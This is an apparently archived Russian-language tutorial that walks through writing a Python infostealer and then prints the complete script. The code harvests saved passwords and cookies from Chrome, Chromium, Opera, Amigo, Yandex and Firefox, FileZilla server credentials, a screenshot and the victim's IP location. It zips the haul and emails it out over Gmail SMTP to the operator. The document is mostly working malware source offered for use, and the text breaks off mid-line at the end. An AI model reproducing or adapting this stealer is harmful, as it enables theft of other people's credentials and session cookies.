Стиллер паролей на python с отправкой на почту Published: 2019-12-13 · Archived: 2026-04-05 21:57:56 UTC Invite pending Стиллер паролей на python Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система. Приступим к делу Создаем новый файл в IDLE Python или в другой IDE. Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули. https://habr.com/en/sandbox/135410/ Page 1 of 20 Все нужные модули pip install pyinstaller pip install requests==2.7.0 pip install pywin32 pip install ip2geotools pip install opencv-python pip install Pillow pip install db-sqlite3 pip install temp import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random https://habr.com/en/sandbox/135410/ Page 2 of 20 Собираем с пользователя все его данные. ################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") #создаем txt с его расположением file.write(all_data)#записываем данные file.close()#выходим Собираем пароли с хрома. ################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("L conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #создаем txt с его расположением file.write(str(Chrome()) + '\n')#записываем данные file.close() #выходим Собираем куки с хрома. ################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): https://habr.com/en/sandbox/135410/ Page 3 of 20 textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCA conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close() Куки с firefox. ################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close() Пароли с хромиума. ################################################################################ # CHROMIUM PASSWORDS # ################################################################################ https://habr.com/en/sandbox/135410/ Page 4 of 20 def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAP conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close() Куки с хромиума. ################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDA conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close() Пароли с амиго. https://habr.com/en/sandbox/135410/ Page 5 of 20 ################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDA conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close() Куки с амиго. ################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA" conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close() Пароли с оперы. https://habr.com/en/sandbox/135410/ Page 6 of 20 ################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close() Пароли с фаира. ################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\Ap conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close() Пароли с яндекс браузера. https://habr.com/en/sandbox/135410/ Page 7 of 20 ################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db' conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Log cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close() Куки с оперы. ################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCAL conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close() https://habr.com/en/sandbox/135410/ Page 8 of 20 Данные с FILEZILLA. ################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close() Делаем скриншот экрана. ################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg') Тут записываем наши тхт в один ZIP — doc. ################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') https://habr.com/en/sandbox/135410/ Page 9 of 20 NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() Вот он наш ZIP по всеми данными. ################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' Оформляем отправку. ################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'тут ваша новая почта с которой отправится' msg['To'] = 'почта на которую отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext) Тут мы создаем вложение для нашего doc'а ZIP. ################################################################################ # СОЗДАНИЕ Вложения # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') https://habr.com/en/sandbox/135410/ Page 10 of 20 part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part) Здесь мы собственно производим отправку на емаил с помощью SMTP ################################################################################ # ОТПРАВКА ВАМ # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587)#ваш почтовый сервис,советую создавать новую гмаил s.starttls() s.login('тут ваша новая почта с которой отправится', 'тут пароль от новой почты') s.sendmail('тут ваша новая почта с которой отправится', 'почта на которую отправится', msg.as_string()) s.quit() i = input() Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это: На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК. Весь код import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders https://habr.com/en/sandbox/135410/ Page 11 of 20 from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random ################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") file.write(all_data) file.close() ################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("L conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") file.write(str(Chrome()) + '\n') file.close() ################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCA https://habr.com/en/sandbox/135410/ Page 12 of 20 conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close() ################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close() ################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAP conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] https://habr.com/en/sandbox/135410/ Page 13 of 20 url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close() ################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDA conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close() ################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDA conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') https://habr.com/en/sandbox/135410/ Page 14 of 20 file.close() ################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA" conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close() ################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close() ################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' https://habr.com/en/sandbox/135410/ Page 15 of 20 if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\Ap conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close() ################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db' conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Log cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close() ################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCAL conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): https://habr.com/en/sandbox/135410/ Page 16 of 20 cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close() ################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close() ################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg') ################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') https://habr.com/en/sandbox/135410/ Page 17 of 20 NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() ################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' ################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'ваша новая почта@gmail.com' msg['To'] = 'почта куда отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext) ################################################################################ # СОЗДАНИЕ ВЛОЖЕНИЯ # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part) ################################################################################ # ОТПРАВКА вам # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил') s.sendmail('новая ваша почта гмаил', 'почта куда 